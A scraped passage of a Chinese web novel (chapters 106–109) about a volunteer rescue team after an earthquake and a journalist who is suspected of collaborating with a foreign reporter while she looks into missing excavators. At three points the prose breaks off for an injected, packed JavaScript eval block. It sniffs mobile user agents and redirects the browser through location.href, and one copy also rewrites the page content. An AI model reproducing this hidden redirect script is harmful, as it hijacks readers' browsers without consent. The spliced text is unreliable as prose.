“学弟?”纪士诚问:“也是记者啊?哪家的?” “GVN。” 纪士诚脸上立马浮起了阴影。 不止他,他身后一个路过去领高热量营养膏的队员,也皱起了眉头。 这队员名叫大梁,也一直跟着纪士诚,算是微光的老人了,一听GVN的记者,脑中便立刻警铃大作。 说到底,还是微光在GVN身上吃过大亏。 有一年微光去非洲参加反盗猎行动,GVN作为A国官方媒体之一,对那次几国联合的行动全程跟踪报道。 一开始大家井水不犯河水,但中途GVN的采访一出来,微光这边就发现不对了。 他们将微光队员搬运野生象骨的镜头配上盗猎集团非法猎象的解说,并剪辑了正常动物大迁徙的画面,却指鹿为马,解释为中国救援队干预野生动物栖息地。 当时两国关系紧张,GVN就更肆无忌惮,正牌部队是不敢动的,就悄摸地拿微光这支民间队伍开刀。 当时这件事闹得很大,公众对国内救援队的印象甚至歪曲到了“干预他国动物管理”和“政府授权的秘密组织”上。 最后随行的中国军官对GVN和A国政府提出严正交涉,这出闹剧才得以落幕。 那次之后,微光受了很长一段时间的误解,从此整个队伍便对外籍记者无差别地排斥,只要是国外救援行动,对外媒一概敬谢不敏。 “大梁?”纪士诚余光瞟见他站在原地,半天不动,问他:“干什么呢?” “哦,哦哦,”大梁回过神来:“来领吃的。” 他低着头,从黎叙闻身边疾步而过,到仓库匆匆跟后勤报备了一声,去盒子里拿营养膏。 走的时候他看了眼余量,怪异地犹疑了一下。 ……怎么觉得给别人匀过食物之后,营养膏也消耗得越来越快了。 …… 黎叙闻跟GVN记者有联系的事,就这样在大本营里传开了。 待B组深夜从现场回来轮岗调休,这件事已经传得有鼻子有眼,不少人都悄悄打着眉眼官司,但谁都没敢当面跟齐寻说。 他坐在室外淋浴坑旁,听着塑料布遮挡后,两个队员的低声聊天盖在淅沥的水声下。 “她好歹是白蛇的老婆,怎么不懂避嫌的?” “行了,她进队晚,那些事估计也不清楚,算了。” “她也是记者,同行抱团我能理解,但万一再出岔子呢?” …… 齐寻沉默地听了一会儿,换了衣服,向医疗区的值班角走去。 夜已经很深了,帐篷顶上挂着的防风灯照破浓郁夜色,在微风里晃动幽光,把他走到门口的影子拉得很长。 他知道闻闻还没睡,于是放轻了脚步,免得惊扰她的专注。 救援时期两人都太忙,可无论工作时怎么拼命怎么疲惫,回到大本营,齐寻总会挤出点休息时间来见她,跟她说两句话;黎叙闻也一样,每天不等到他回来看上一眼,她是不会去睡的。 此时她正坐在屏风后的小板凳上,腿上堆着一叠长长的伤员名单,低着头一个一个核对伤员的状态有没有更新,用药对不对。 一弯柔软的发丝从她耳侧垂落,发梢挂在唇角,随着她呼吸的起伏,微微吹动。 齐寻站在原地看了一会儿,觉得心都平静了。 那些永远响在他耳边的马达声,切割声,还有声嘶力竭的呼喊声,终于在这种静谧中远去。 夜里又起了阵风,吹起薄薄的灯光,把他的影子轻轻送到她的脚边。 黎叙闻抬头看门口,眼睛一下子就亮了:“回来了?” 唇角在齐寻反应过来之前就扬了起来。 他大步走进去,拉了个马扎坐在她身边:“嗯。今天怎么样?” “很好,你呢?” 他把手肘搭在双膝上,微微握着拳:“还行,老样子。”他盯着她的眼睛看了一会儿,又说:“你好像很有精神。” 快三点了,她一双眸子还是亮晶晶的,一丝困意都没有。 “今天遇到个神奇的人,”黎叙闻笑道:“一个小孩儿,怪有意思的。” 齐寻的眉心微不可查地跳了一下。 “特别傻,”黎叙闻并未察觉他的异样,继续道:“不过还有点用。” 其实见到齐寻之前,她很盼着他赶紧回来,好把白天的事告诉他,跟他说搞不好挖掘机马上就来了,他们再也不用徒手救援 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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下午救援时,他们在花坛后面的下沉广场发现了新的伤者,因为被压得太久,怀疑肢体已经坏死,救援队一边联系重症急救,一边徒手清理伤者身上的碎块废墟,动静闹得很大。 引来了头上别着Gopro的记者。 有队员第一时间上去拦他,告诉他这里正在急救,不方便拍摄。他还算配合,关了摄像头,就要往跟前去。 齐寻见状,出来挡住他往前的路:“那边空间小,你过去会影响清理,请不要靠近。” 查理比他矮了大半个头,只能歪着身子从他身边看,然后问出了一个覆水难收的问题:“你们摄像机在哪儿呢?” 他问得很真诚,不像讽刺,于是齐寻身边的队员压着火:“我们在救援,要什么摄像机?” “我刚从首都那边过来,见到一样的摆拍场面。”查理指了指正在忙碌的队员:“有吊车不用,你们是在拍广告吗?” 齐寻目光瞬间锐利,盯着他语气沉郁:“摆拍?” “是啊,”查理无知无觉:“不然你们在干什么?” 这下子可真是犯了众怒。 原本在现场搏命压力就大,无人知晓就算了,现在还跳出来个来路不明的外国记者,上来就说他们在摆拍。 队员们出离愤怒了,高声的叫骂一瞬间淹没了查理,凡是能腾出手的,都想冲上来打他,被齐寻一个眼神通通按住。 齐寻面沉似水,但语气仍维持着冷静:“你说的机器我们没有见到。如果你没有别的事,又帮不上忙,麻烦你立刻离开,这里不欢迎你。” 查理挑着眉看了他们一眼,双手竖在胸前:“好好,行,我走,放松,别激动。” 第一次采访就碰了一鼻子灰,他只能沿着清出来的路往里走,这才在大本营遇上了黎叙闻。 营地就这么大点地方,这件事可能迟早会传到黎叙闻的耳中,但此刻,齐寻并不打算告诉她。 别人可以怀疑她,质问她,但如果连他都开始指摘她的所作所为,那她在大本营、在整个微光,还有一点归属感吗? 算了,他望着她泛着柔润光泽的发顶,想。 “诶,我问你啊,”黎叙闻忽然坐起来,眼睛里雀跃着:“如果我能解决一个大问题,你会更喜欢我吗?” ……忍了半天她还是忍不住,兴奋得不得了,好像今天不看到他欣喜的表情,就亏大了一样。 “什么大问题?” “你别管,你先回答我。” 齐寻失笑:“嗯,主观意识上会,但客观上可能困难。” 黎叙闻瞪他:“为什么!” 齐寻笑着凑过去,亲亲她额头:“因为我已经满格了,不知道该怎么更喜欢你。” 107. 第 107 章 第二天,万人嫌的查理同志终于带回了工程队的消息。 他小心翼翼地摸到营帐边上,身边路过穿制服的队员,斜睨他一眼,跟他擦肩而过。 查理没法,只好带着气声朝里面叫:“黎?黎!” 帐内的人纷纷抬头看他,表情都很冷漠。 几秒钟时间,他觉得比半辈子都长。 黎叙闻终于探出头来,冲他招手:“站着干嘛?进来。” 查理摸摸鼻子:“不进去了,我跟你说完就走了。” 坐在对角跟幸存者低声谈话的林青淮听见动静,抬头往这边看了一眼,眉心蹙了蹙,又继续工作了。 查理被这一眼看得瑟缩了下。 黎叙闻只好出来,见他这副小鹌鹑的样子,奇怪道:“怎么?” “哦,没、没有。”查理拿出手机,开始汇报他得到的消息。 他昨天找到工程队,先没有上去问,而是在旁边蹲着观察了一阵,发现这支队伍并不像他想象的那样,缺人手缺设备,而是好几个人守着两台推土机和一台压路机,随便干了干,便开始摸鱼放风。 他找了个地方,把自己的GVN文化衫换下来,假托自己是来这里采风的艺术家,被地震困在了这里,用一盒烟打开了工程队员的话匣子。 起初的对话里,工程队还在坚持“活不好干”“人手不够,有机器也难开”之类的话,查理递了盒比利时巧克力之后,话题就渐渐开始偏了。 “这工作也挺轻松,薪水给得慷慨,活就这么多,干多了上面还不乐意呢,”工程队的一个小个子用黢黑手指剥开一块巧克力,扔进嘴里:“下次要有这种活儿,我还报名。” 讲到这里,查理停下,问黎叙闻:“你觉得这个‘上面’,指的是谁?” 黎叙闻冷笑:“不是Ironpeak就是地方政府,这两个选项,从根本上来说是一回事。” “可是为什么?”查理又问:“他们是为了省钱?” 黎叙闻摇摇头:“不知道,还有呢,路况怎么样?” 查理切到手机相册,里面几张路面的照片,角度颇为清奇,一看就是非正常拍摄:“都很平整,我也问了,他们说承重和宽度都没问题——这跟我昨天坐卡车进来对上了。” “还有一件事,”他沉着脸,语气也重了:“我趁对方去厕所,翻了一下他们的工作日志,发现两天前曾经来过一辆吊车,但没进来,在路口停了半小时,就被调走了。” 黎叙闻瞪大眼睛:“调走?调去哪里了?” “不知道,”查理答:“我也不好问。这是不是可以确定,什么资源紧张、路况不好,都是托词?他们是故意不开进来的?” “大致可以,但他们还是有推脱的借口。”黎叙闻沉吟道:“本来该到这里的设备,到底调去哪里了?也就是你说的,他们的动机。” 越是慢慢接近核心,她就越是感觉到,不能出门、无法通讯,简直就是又聋又盲,对记者来说,几乎称得上是半个残废。 她低头思忖一阵,忽然笑了。 笑得查理浑身发毛:“黎,你不要这样笑,你这样我太没安全感了!” 黎叙闻拍着他的肩:“查理啊,你建功立业的时候到了。” 查理:? 黎叙闻循循善诱:“你昨天是不是给你们GVN的前辈打电话了?” 查理茫然地“啊”了一声,一个疑问句还没成形,就立刻反应过来,大叫:“不行,绝对不行!她恨我,她会让我下地狱的!” “怕什么,胆小鬼!”黎叙闻瞪他:“又不是让你去色诱,只是让你去问问她,能不能拿到Ironpeak的调度单。” 能不能拿到还用问吗,在中心区的可是每家电视台的台柱子,要是连这点本事都没有,怎么能有这种地位? 查理惊恐地看着她,脑子里飞过一百八十个借口,却绝望地发现,他能随口糊弄住外行,却绝对糊弄不住黎叙闻。 他抖着嘴唇天人交战了起码半分钟,最后深吸一口气,认命道:“那你答应我一个条件。” “什么条件?” “你得答应我,让我在你们旁边搭帐篷!”查理欲哭无泪:“我昨晚在军队旁边搭的帐篷,跟他们的长官用两条能量棒换了点水,结果一整晚都有人在我帐篷旁边晃悠……我感觉他们要抢我!” 黎叙闻:“……” 也确实倒霉,碰上了一帮断粮的人。 但她话锋一转,忽然问:“所以你今天这副罪人的样子,是跟这事有关?” 查理:“我告诉你,你能保证不动手吗?” 黎叙闻笑得毫无诚意:“当然,我是那种人吗?” 查理翻了个白眼,却别无选择,只能坦诚相告。 昨天告辞之后,他先扎的营,跟长官换水时顺带聊了两句,才知道这里没有挖掘机是事实,他们确实是徒手救援的。 长官很骄傲,指着临时安置点:“25个人!我们用手挖出了25个人!” 查理看着那群劫后余生的幸存者,想到的却是下午他挖苦过的那些救援队员们。 他愧疚至极,又好死不死想起来,他们身上穿的,是跟黎叙闻同样的制服。 当时那群人虽然愤怒,但看起来很有组织,尤其是那个队长,那种情况下都忍住没跟他动手,队员的怒火他都能一力弹压。 但黎叙闻可不一样。 她是真扇他。 查理在最后一句话话音未落时就抱住头,从胳膊缝里看见黎叙闻果然竖着眉毛抬手要弄他,可她想了想,又把手放下了。 “行了,”她换了张慈眉善目的脸:“好说,都是同行,互相照应是应该的。” 查理瞪大眼睛看着她,安静地等着她的下文。 果然,她眨着眼:“你有高热量能量棒啊?我还没见过,给我看看。” 查理:“……” 这疯女人……还看看,给她看看那不就是肉包子打狗吗? 他简直才出狼窝又入虎口,怎么全世界都打他那点能量棒的主意! 查理咽了咽,忍辱负重道:“我给你5个,你帮我跟你们队长说,让我搭帐篷。” “10个。” “我一共就15个!”查理惨痛地叫:“6个。” “你又不去徒手挖人,吃那么多浪费!8个。” “……成交!” …… “啊,这、这不好吧……” 纪士诚从现场回来,正跟林青淮讨论队员们的心理状况,听完黎叙闻的要求,又愁得开始干搓脸。 从今天上午开始,行动组轮番强制休息的时间间隔进一步缩短——这不是个好现象,其一意味着队员的体能已经开始出现过劳,其二意味着,他们力所能及的救援越来越少了。 如果挖掘机再不来,再打不开深层区域,那他们将不得不退出救援。 没有人甘心现在就放弃。 黎叙闻没有继续劝他,反而转头去问林青淮:“拼尽全力却救不出人,在现场对着废墟干耗力气,对队员们的心理健康有多大的影响?” 林青淮波澜不惊地看着她一阵。 那种熟悉的、审视的目光,一下子将黎叙闻拉回到了那间诊疗室里。 他微不可查地叹了口气,道:“非常大。人不会因为一件事失败就崩溃,而是因为同一件事失败一百次。每天徒手去挖、每天听不到回应、每天都想着‘如果早点有机械,是不是能多救一个’……这样下去,几乎没人能全身而退。” 黎叙闻点点头,转而又去对纪士诚道:“我的情况你知道的,我没办法离开大本营,也就没办法去走访调查。要想解决这件事,必须有另外一个记者帮我,做我的眼睛。” 纪士诚没回答,而是眯着眼睛,越过门口,远远地望了一阵废墟林立的地平线。 半晌,他问:“这件事,你有把握能解决吗?你有把握查到最后,我们能见到挖掘机吗?” 黎叙闻想了想,诚实道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248348|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不能。” 没有哪个记者在报道刊登之前就能信誓旦旦地说,这事交给我,最后一定能有好结果。 她不能打这种不负责任的包票。 “但如果什么都不做,那就百分之百改变不了。”她唇角抿得平直,罕见地跟纪士诚较起真来:“赢面不小,我觉得值得一试。” 风卷来一阵凉薄的土腥气,灰白的尘土飞进纪士诚的眼睛。 他低头揉了一阵子眼,慢慢地说:“闻闻啊,我考虑的不仅仅是这次救援的事。这次过了,还有很多次,可咱们微光,人心不能散了。” 黎叙闻茫然地愣了下,看到纪士诚身旁的林青淮,在对她轻轻地摇头。 她皱起眉头,反应了下,才明白纪士诚在说什么。 那些背着她的议论她不是没有听到,但她有充足的理由,也不想絮絮叨叨地逢人就解释。 到时候如果吊车能进来,她自然能自证清白;如果她失败了,那就承受后果、争取队友们的原谅。 但看纪士诚这个反应,她才意识到,微光对GVN的戒备和龃龉,远比她想得要严重得多。 “我理解,你在这里碰到个学弟,确实不容易。但再怎么说,他是外籍记者,还是GVN的。”纪士诚无意识地撕扯着手指上的疤:“他们名声不好。” 黎叙闻垂着眼睛,微微低着头,没说话。 “可能记者觉得真相是第一位的,但我们普通人要生活,有时候真相又是最不重要的。”纪士诚拍拍她的肩:“之前网红那个事,微光欠你一个人情,你开口,我不会拒绝,但你也要想想,这种时候,到底应该站在哪一边。” 剩下的话他并没有说透,留下这么一个语焉不详的话头,就起身离开了。 帐子里一时安静下来,其余的人也感觉到这边不同寻常的气氛,大气都不敢出。 黎叙闻坐在凳子上,半垂着头,看着银亮桌面。 而林青淮没有走。 他坐在她对面,像以前一样,沉默着陪着她。 少倾,黎叙闻抬起头来,恢复了平静的表情,问他:“你怎么没走?” “觉得你可能需要我。”他说。 黎叙闻看着他:“刚刚如果你开口……” 隔着擦得透亮的镜片,林青淮的目光显得很锐利:“因为你的做法确实欠妥。纪队长说得不是没有道理。” 黎叙闻眉头一扬,定定地看了他好几秒,不确定似地:“你是说……你是说我应该放弃现在唯一的机会,看着救援效率一降再降,看着队友们一天比一天无力,是吗?” 推到她面前的热水氤氲地冒着焦躁的热气,将林青淮的面目也熏的模糊起来。 他推了下眼睛,在一片虚白的热气中说:“我没有评判你的意思,只是人是社会动物,你要在这个集体中生活,就得遵守其中的规则。” “哦,我听明白了。”黎叙闻眉心一抽,搭在桌沿的手指有一瞬握紧:“你在指责我。” 林青淮深叹一声,肩线上浮又沉沉垂下:“叙闻……” “黎,”黎叙闻被这热气蒸得眼底潮热:“黎叙闻。” 林青淮对上她的眼睛,镜片背后的目光终于剧烈地震颤起来。 “你果然跟齐寻不同。”她笑起来,雾里看花似的,漂亮得像幻觉:“他就不会对我说这种话。” 黎叙闻看着这个她曾经无比信任的人,说:“他永远尊重我,永远会让我做我自己。” 林青淮垂目盯着铝制桌面上的一点污渍,抬不起眼睛。 带着消毒剂气味的沉默像病毒一样弥漫在他们之间,隔着永远无法缩短的、一个桌面的距离。 良久,在空气彻底冻住之前,一阵轻快的脚步声哒哒哒地靠近,电锯妹跑到黎叙闻身边,似乎根本没意识到两人之间的怪异氛围,往黎叙闻手里塞了张字条,又笑嘻嘻地跑了。 黎叙闻低头看了一眼,露出个明艳的笑:“林老师,如果没别的事,我要去跟我老公约会了。少陪。” 108. 第 108 章 Mr. 黎叙闻带着一身生人勿进的气场走出门时,夕阳正向下沉去。 查理早把自己的行囊带来,杵在营地边缘,望眼欲穿地等黎叙闻来,要么让他安营扎寨,要么把他扫地出门。 黎叙闻走过来,脸色泛着一种青灰色,对他胡乱一点头,转身就走。 身后的人脱口而出半句“你还好吗”,被她远远抛在身后开裂的水泥地上,轻飘飘落了地。 查理挠挠头,但想起自己能靠着救援队取暖,又开心起来,乐颠颠地开始搭帐篷了。 黎叙闻手里握着那半张小纸条,上面画着大本营的缩略图,在图上很远的小小一角,圈出了个小圆圈来。 她认得那里,在他们扎营的学校的角落,有一幢二层小楼,原来大概是当岗亭用的,地震时竟一点缝都没裂。 黎叙闻按着地图一路摸过去,靠近了就发现齐寻坐在楼顶上,正对着她笑。 “后面,”他指着背后:“我接你。” 一看见他,黎叙闻面上笑着,眼睛先酸了。 她绕到小楼背后,看见那里有临时用砖块堆出来的台阶,一级一级盘曲到楼顶。 应该是齐寻怕她上来不方便,给她搭的。 黎叙闻唇角漾出一个弧度来,抬头看,就见他高大的身影逆着光,在一片橙红色的融金里,勾成一个明暗相接的剪影。 黎叙闻抬脚拾级而上,等走到最后一级,心里的龃龉就散了一大半,笑着把手交给他,一步跨到他身边:“这就是咱们在库萨的约会?” 齐寻身上有清爽的沐浴露气味,融在傍晚微凉的风里。他也笑道:“嗯,我想了挺久,不给个鼓励啊。” 黎叙闻扭头看他布置过的楼顶:两个垒起来的小石凳,一张垫高的木板,上面放着两瓶水,在最前面隆重登场的,竟然是一颗苹果。 她跑过去蹲下,瞪大了眼睛盯着它:“水果!哪儿来的?” 齐寻也在慢慢蹲在她身边:“今天帮一个阿姨找到了家庭相册,她给的。” 很小的一颗苹果,表皮还泛着点青绿,皱巴巴的,带着一股青涩的香气。 它确实其貌不扬,平日里在水果店都看不见这种品相,但此时它坐在红彤彤的晚霞里,绿得特别理直气壮。 它可是水果,来了这么些天了,黎叙闻从来没见过水果。 “味道可能一般,”齐寻轻声说:“但还是吃了吧,补充点纤维素。” 黎叙闻看着它,都能想象齐寻是怎么小心地把它揣进怀里,揣了一整天,时不时想象她见到这难看的苹果的表情,然后花心思给她布置楼顶,就为了送她一个小小的惊喜。 黎叙闻有点想哭。 她把它拿起来,随便擦了擦,咔嚓一口咬下去,带着涩意的酸甜汁水立刻炸开在她口中,果肉微硬的颗粒感擦过她的舌尖,带起更多津液。 原来苹果是这个味道。 原来拥有本身不会带来满足,要先缺,先匮乏,才能体会到它独一无二的珍贵。 黎叙闻唇上沾着汁水,倾身过去,轻轻吻住齐寻的嘴唇。 那一小口苹果慢慢地从她口中渡过去,带着她的体温和气味,游动到他的齿间。 他们在无边慷慨的红色夕阳里,交换了一个珍贵的、苹果味的吻。 …… 等这个绵长的吻在风里散尽,黎叙闻盘腿坐在地上,神秘兮兮道:“我也有礼物。” 说着,她从怀里掏出从查理那里打秋风来的能量棒,献宝似地捧到齐寻面前:“将将——” 齐寻眼睛亮了一瞬:“从哪儿来的?” “从查理,就是我那个学弟,从他那儿抢来的呗,”黎叙闻半张脸映在晚霞里,眸子被浸得透亮:“不用客气,当他给你们赔礼道歉。” 齐寻神色一顿,抬起眼来:“……你知道了?” “他胡言乱语,也知道错了。你跟大家说,不要放在心上。”她停了停,又说:“队里把吃的分出去一半,我知道你为难。这点东西解决不了什么,但聊胜于无吧。” 她表情平静,看不出什么端倪,语气也如常:“算我对微光的一点心意。” 齐寻笑了声:“这话说的,你不也是微光的一员么。” 这小楼虽不算高,但操场空旷,也能看到营地的边缘。黎叙闻转过头,看着查理一个人在那手忙假乱地搭帐篷,按下葫芦浮起了瓢,轻轻地说:“是么。” 她侧脸在余晖中划出一道亮色轮廓,眼睫微垂,盛着些不明所以的怅然。 齐寻坐在她身边,用目光描画了她的侧脸好几遍,才问:“怎么了?” 他其实早知道她在粉饰平静。 表情可以掩饰,语气可以伪装,但她沉沉的呼吸和凝重的脚步声,早就先一步出卖了她。 浓烈夕阳已然沉没,清透凛冽的蓝色渐渐笼罩了营地,连绵的营帐外,开始亮起一盏又一盏昏黄的灯。 黎叙闻在这片冷蓝里转过脸,定定地看着他,说:“我要先跟你道歉。” 齐寻笑了声,问:“是杀人越货了,还是放火烧山了?” “我在认真跟你说……”黎叙闻抱起膝盖:“还记得我跟你说,挖掘机开不进来,很有可能是人祸么?我在调查这件事。但你知道的,我没办法出营地,所以我必须找个帮手——查理就是我的帮手。” 夜里的风已经冷了,吹得她声音泛哑:“我太没用了,要是没有他,这件事我就是查不下去,就是没办法让你们不受伤。” 说到最后她声音都开始发抖,听得齐寻心跳一阵紧似一阵,手足无措地把她搂进怀里:“我知道,我都知道。” 黎叙闻浑身被风吹得冰凉,在他胸口靠了好一会儿,才觉得自己的心慢慢解冻了。 “如果我继续查,不只是我,你也会被看成是不称职的副队长。”她艰涩地吞咽一次:“可如果这次退了,以后每一次我都会退缩,到时候,我就没脸再说我是个记者了。” “所以齐寻,”她忽然坐起来,盯着他的眼睛:“我的所作所为要是真的让你为难,我就退出微光,到时候你、你就……” 后半句话生涩地在唇齿间滚了一圈,最后还是没说出口。 她入队时间不长,但几次三番的并肩作战,微光这些队友对她来说,早就成了不可或缺的一部分。 现在说退出就退出,她是真的舍不得。 黎叙闻整个人浸在最后的余晖里,微微垂着头,停了很长时间,才带着鼻音问:“你说,我该怎么办呢?” 齐寻望着她紧绷又悲伤的脸,喉咙噎得发紧。 他知道她的初心,理解她的犹豫,她跟队友之间的情谊,他更是日日都看在眼里。 现在被这样议论排挤,为了保护他到了要退队的地步,她心里得有多委屈。 “你用不着躲,我也不需要你这样的牺牲来保护。”齐寻俯身小心翼翼亲吻她额角:“你想做什么就去做,我永远在你背后——这话我跟你说过好多次,你都不记得了?” “但是……” “没但是。” “不是,他们说……” “没他们。” “那我……” “嗯,可以,我同意。” 黎叙闻无奈地笑出声来:“……齐寻。” “嗯?” 她抬起头,指着远方:“你看。” 齐寻也仰起头望去,暮色四合的尽头处,一颗耀眼的星星,正闪烁着亮起来。 “它是我最喜欢的一颗星星。” 它沉默着守望在最远的地方,有光时一点也不显眼,可每每夜色深沉,她就能看到,它始终在那里,远远地、永不退场地陪着她。 齐寻伸出手,手指撑开她指着星星的手,然后一根一根地将指尖楔入她的指缝里,最后慢慢地握紧。 “我也在的,闻闻,我就在这,一直陪着你。” …… 那天晚上,纪士诚结束工作,钻睡袋里刚准备眯一会儿,赶第二天的第一拨救援,一包烟却扔在了他的面前。 他盯着那包烟看了会儿,抬头道:“明儿回来再说吧?” 齐寻拉了凳子,坐在他旁边:“协调好了,聊完你就睡,明天第一拨我带B组去。” 纪士诚:“……” 他叹了口气,认命地坐起来。 指挥部的灯就这样亮了一夜。 第二天黎叙闻醒来时,身旁仍放了灌满的保温杯,齐寻已经带队出发了。 连续数天连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他想了想,问:“请问你跟黎,就是那个很漂亮的女孩,是什么关系?” 齐寻笑了下:“我是她丈夫。” “丈夫”一词四个音,每个都被他咬得很硬,连带着他硬朗的轮廓,每一寸都显得像在挑衅。 查理:“……” 这死嘴!干什么要说她漂亮! 他木着脸:“你别误会,她只是我的主人。” ……说完他就意识到,这简直太糟糕了。 小熊站在齐寻身后,听到这个词,实在没憋住,噗嗤一声笑了出来。 这笑好像会传染,笑声渐渐响成了一片,B组有一个算一个,都忍不住了。 齐寻黑着脸:“没要说的是吧,那你可以拔营走人了。” “啊啊啊不,有!有!” 接着,他解释了自己的履历、跟黎叙闻素未蒙面的同门关系,详细地说明了他和黎叙闻在做的事情,并信誓旦旦保证,他没有拍摄任何有关救援队的画面,并以自己的职业生涯起誓,如果要拍,一定会经过他们的同意,最后,他非常诚恳地,为自己那天的行为道了歉—— “我会那么说,是因为我真的在中心区看到了有人在摆拍。这也印证了黎的猜测,中心区资源过剩,而这里连台破碎机都没有。但我不该因为这样,就认为你们跟他们一样,真的非常、非常抱歉。” 这一方小小的帐篷前,有半分钟鸦雀无声。 整个B组都听得愣住了,看着他的眼神,也多了些亲近和敬佩。 没人想到挖掘机的缺席竟然是人祸,他们日日在现场,什么都没意识到,黎叙闻大门不出二门不迈,竟然能推测到这种地步。 人家两个殚精竭虑地替整个救援队考虑,有些人却还在拿有色眼镜看他们。 “行,”齐寻点头:“没事了,睡你的觉吧。” 查理十分小心地问:“怎么称呼你?” 齐寻有心难为他,故意只告诉他中文名,偏偏这两个字在英文里都属于地狱级别的难念。 查理学得险些把自己舌头咬下来,小熊笑得不行,跟他说:“他的名字,是find的意思。” 查理上去就给了小熊一个拥抱,以报答他救命之恩,又转头对齐寻道:“Mr.Find.” 齐寻哂笑了一声,一挥手转身要走,迈了两步又回过身,纠正他:“Found.” 毕竟该找的人,他已经找到了。 109. 第 109 章 黎叙闻听着听着,一个小意温柔的笑就渐渐绽开在了唇边。 齐寻真的……是一个好聪明的人。 他跟B组合作无间这么多天,误会又是从B组开始的,他就从这里入手,直接釜底抽薪,让另一个当事人出来说话。 查理本来就理亏,一定会拿出最诚恳的态度和最详尽的解释,足以打消他们的疑虑和不忿。 至于救援队其余的人,只要等着真相从B组这里渗透、传开,一切就会以最快速度平息。 给每个人按头解释是没用的,只会引起逆反,但众口一词的洗脑,那就不一样了。 从起床的一杯热水,到帮她平息风波,他真的什么都为她想到了。 他承诺过的每一个字,全部都算数。 查理惊恐地看着笑得温柔至极的黎叙闻,甚至往后退了一步:“黎,你还好吗?” 黎叙闻瞬间收起笑意,干劲满满道:“还睡吗?人家五点就去救援了,你这个年纪是怎么睡得着的?” 查理使劲眨了眨眼,可想哭了,跟她讨价还价:“我跟前辈交流,那是GVN的机密,我不要在这里联系她。” “没人拦你,”黎叙闻白眼翻上天了:“破电视台,谁稀得听一样。” 查理不服气:“那你别指望破电视台的证据。” 黎叙闻嘁了声,抿了抿唇,对他还是不很放心,又叮嘱:“不要害怕去跟前辈要证据。知道做记者最该丢掉的是什么吗?” 查理非常警惕地看着她,感觉她说不出什么好话。 黎叙闻点点头,自说自话:“没错,是你的尊严。” 查理真让她气笑了:“省省吧你,你能做到?现在让你脱光衣服绕大本营跑一圈,你敢跑吗?” 很快他就闭嘴了,因为黎叙闻又抬起手要弄他了。 “也行吧,”他苦着脸:“那你得答应我,我以后去找你玩,你要包吃包住。”想了想,又说:“并且不要让Mr.Found知道!” 黎叙闻开空头支票特别熟练:“没问题,成交。” …… 打发了查理,看着他背着把家当背在身上、不知道在防谁的背影,黎叙闻终于放下了一半的心。 其余的事担心也无益,于是她整理了下心情,回到医疗区,开始逐个询问伤员的康复情况。 大本营一忙起来,时间的流逝就变得模糊。再抬起头,已经接近正午,后勤组开始准备分发午饭。 阿咩拉了几个A组队员来帮忙搬自热米饭,边点数边问大梁:“今天还要营养膏吗?” 大梁摇头:“这几天强度没那么大,省点吧,留给白蛇他们回来吃。” 阿咩道:“其实还好,我看还有……” 她探头去看堆在角落的营养膏盒子,后半句话忽然断在了半空中。 停了半晌,她忽然发出一声惊叫! 这一声几乎把所有留守在大本营的人都惊动了,黎叙闻也从隔壁跑过来:“怎么?怎么了?” 众人追着阿咩的目光看去—— 原本还有五整箱的营养膏,现在只剩下零星的几个,孤零零散落在别无他物的纸箱里。 “不是,”阿咩脸都憋红了,结巴着:“昨天、昨天还有很多啊,昨天还有好多箱呢……” 营养膏是专门给伤员和行动组队员快速恢复体力和身体状态的,原本就价高稀少,分了一半粮出去后就更捉襟见肘,很多队员都舍不得吃,现在倒好,省来省去,直接消失了。 仓库里气氛陡然凝重,连正午照进来的大亮天光都冷了。 黎叙闻握住她打抖的肩膀:“别急,大本营就这么大点地方,我们……” 话说一半,她却没往下说。 因为她忽然发现,帐子里有一多半的人,目光都锁在了她的身上。 这些目光显然不是出于善意,带着心知肚明的复杂望着她,她回头一捉,又欲盖弥彰地挪开了。 黎叙闻迷惑了:“你们什么意思?” 她看了一圈,没人跟她硬碰,她还要再问,纪士诚姗姗来迟地进来:“怎么回事?” 大梁简单地把情况说了一遍,等话音落下,又转头去看黎叙闻,意有所指地补上一句:“那个GVN记者这两天总在医疗区晃悠,而且早上很多人都看见,他背着个大包走了。” 黎叙闻恍然大悟的同时,没忍住气得笑了出来。 原来他们是这么想她的。 或许是顾及齐寻的面子,又或许是想起她也是微光的一员,并没有人直接向她质问,但人心里怎么想,眼里都写得明明白白。 真是……好没意思。 她这个笑落进纪士诚眼里,让他眉间的川字都深了三分。 昨天晚上齐寻跟他彻夜长谈,意思很明白了:如果人心有嫌隙,那是因为原本心就不齐。如果别人容不下闻闻,你老纪身为队长,得掂量掂量这队伍到底出了什么问题。要是这么容易就断章取义地污蔑自己人,那跟GVN又有什么区别? 这臭小子跟了他八年,说这么重的话还是第一回,给纪士诚都听愣了,本来以为齐寻人情淡漠,对这些事不上心,没想到人家只是懒得提,其实心里门儿清。 纪士诚在梦里想了一晚上,觉得齐寻说得对,想着第二天就找大梁谈话,把这事儿赶紧解决了,免得夜长梦多,结果手上的事还没干完,这雷就迫不及待爆了。 他头大如斗,肃着脸问大梁:“那外国的记者的包,你扒开看了?” “……没有。” “没有你说个XX!”纪士诚真动了怒:“没证据就敢阴阳怪气,给队友扣锅!你也是老队员,怎么这么拎不清?” 